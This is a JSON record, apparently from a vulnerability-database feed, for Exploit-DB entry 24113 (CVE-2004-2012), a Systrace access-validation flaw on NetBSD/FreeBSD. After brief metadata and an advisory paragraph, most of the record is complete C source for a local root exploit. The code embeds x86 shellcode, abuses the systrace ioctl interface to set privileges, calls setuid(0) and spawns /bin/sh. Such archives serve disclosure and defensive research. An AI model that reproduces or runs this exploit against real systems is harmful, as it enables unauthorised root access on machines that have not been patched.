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{"exploitdb": [{"lastseen": "2016-02-02T22:32:41", "osvdbidlist": ["6035"], "references": [], "description": "NetBSD/FreeBSD Port Systrace 1.x Exit Routine Access Validation Privilege Escalation Vulnerability. CVE-2004-2012. Local exploit for bsd platform", "edition": 1, "reporter": "Stefan Esser", "published": "2004-05-11T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "type": "exploitdb", "title": "NetBSD/FreeBSD Port Systrace 1.x - Exit Routine Access Validation Privilege Escalation Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2004-2012"], "modified": "2004-05-11T00:00:00", "id": "EDB-ID:24113", "href": "https://www.exploit-db.com/exploits/24113/", "sourceData": "source: http://www.securityfocus.com/bid/10320/info\r\n\r\nA vulnerability has been reported that affects Systrace on NetBSD, as well as the FreeBSD port by Vladimir Kotal. \r\n\r\nThe source of the issue is insufficient access validation when a systraced process is restoring privileges. \r\n\r\nThis issue can be exploited by a local attacker to gain root privileges on a vulnerable system.\r\n\r\n#include <stdio.h>\r\n#include <sys/ioctl.h>\r\n#include <fcntl.h>\r\n#include <sys/systrace.h>\r\n\r\n#define systrace_device \"/dev/systrace\"\r\n\r\nchar MAGIC[] = \"\\x53\\x31\\xc0\\x50\\x50\\x50\\x50\\xb8\\x03\\x00\\x00\\x00\"\r\n \"\\xcd\\x80\\x83\\xc4\\x10\\xb8\\x00\\x00\\xc0\\xbf\\x94\\x50\"\r\n \"\\xb8\\x03\\x00\\x00\\x00\\xcd\\x80\\x5b\\x87\\xe3\\x5b\\xc3\";\r\n\r\nvoid (*magic)(void) = MAGIC;\r\n\r\nint nbsd_systrace_open()\r\n{\r\n int fd;\r\n\r\n printf(\"[+] Connecting to %s... \", systrace_device);\r\n fd = open(systrace_device, O_RDONLY, 0);\r\n if (fd == -1) {\r\n perror(\"failed with error: \");\r\n printf(\"\\nSorry but the exploit failed\\n\");\r\n exit(1);\r\n }\r\n printf(\"done.\\n\");\r\n\r\n return (fd);\r\n}\r\n\r\nint nbsd_attach_parent(int fd)\r\n{\r\n pid_t pid = getppid();\r\n\r\n printf(\"[+] Attaching to parent... \");\r\n if (ioctl(fd, STRIOCATTACH, &pid) == -1) {\r\n perror(\"failed with error: \");\r\n printf(\"\\nSorry but the exploit failed\\n\");\r\n }\r\n printf(\"done.\\n\");\r\n return (0);\r\n}\r\n\r\nvoid nbsd_handle_msg(int fd)\r\n{\r\n struct str_message msg;\r\n struct systrace_answer ans;\r\n int r;\r\n\r\n r = read(fd, &msg, sizeof(msg));\r\n\r\n if (r != sizeof(msg)) {\r\n exit(1);\r\n }\r\n\r\n memset(&ans, 0, sizeof(ans));\r\n ans.stra_pid = msg.msg_pid;\r\n ans.stra_seqnr = msg.msg_seqnr;\r\n ans.stra_policy = SYSTR_POLICY_PERMIT;\r\n ans.stra_flags =\r\nSYSTR_FLAGS_RESULT|SYSTR_FLAGS_SETEUID|SYSTR_FLAGS_SETEUID;\r\n ans.stra_error = 0;\r\n ans.stra_seteuid = getuid();\r\n ans.stra_setegid = getgid();\r\n\r\n if (ioctl(fd, STRIOCANSWER, &ans) == -1);\r\n\r\n}\r\n\r\nvoid doit()\r\n{\r\n int p,f,fd;\r\n\r\n fd = nbsd_systrace_open();\r\n\r\n f = fork();\r\n\r\n if (f == 0) {\r\n sleep(1);\r\n nbsd_attach_parent(fd);\r\n while (1) {\r\n nbsd_handle_msg(fd);\r\n }\r\n exit(1);\r\n }\r\n printf(\"[+] Doing some magic... \");\r\n sleep(2);\r\n magic();\r\n\r\n setuid(0);\r\n setgid(0);\r\n\r\n kill(f, 9);\r\n\r\n if (getuid() != 0) {\r\n printf(\"failed.\\n\");\r\n printf(\"\\nSorry but the exploit failed.\");\r\n exit(1);\r\n }\r\n\r\n printf(\"done.\\n\\n\");\r\n\r\n system(\"uname -v\");\r\n system(\"id\");\r\n execlp(\"/bin/sh\", \"/bin/sh\", 0);\r\n}\r\n\r\nvoid banner()\r\n{\r\n printf(\"NetBSD/x86 systrace local root exploit\\n\");\r\n printf(\"by ziegenpeter\\n\\n\");\r\n\r\n if (getuid() == 0) {\r\n printf(\"no comment\\n\");\r\n exit(1);\r\n }\r\n}\r\n\r\nint main(int argc, char **argv)\r\n{\r\n int fd;\r\n banner();\r\n doit();\r\n return (0);\r\n}\r\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/24113/"}]}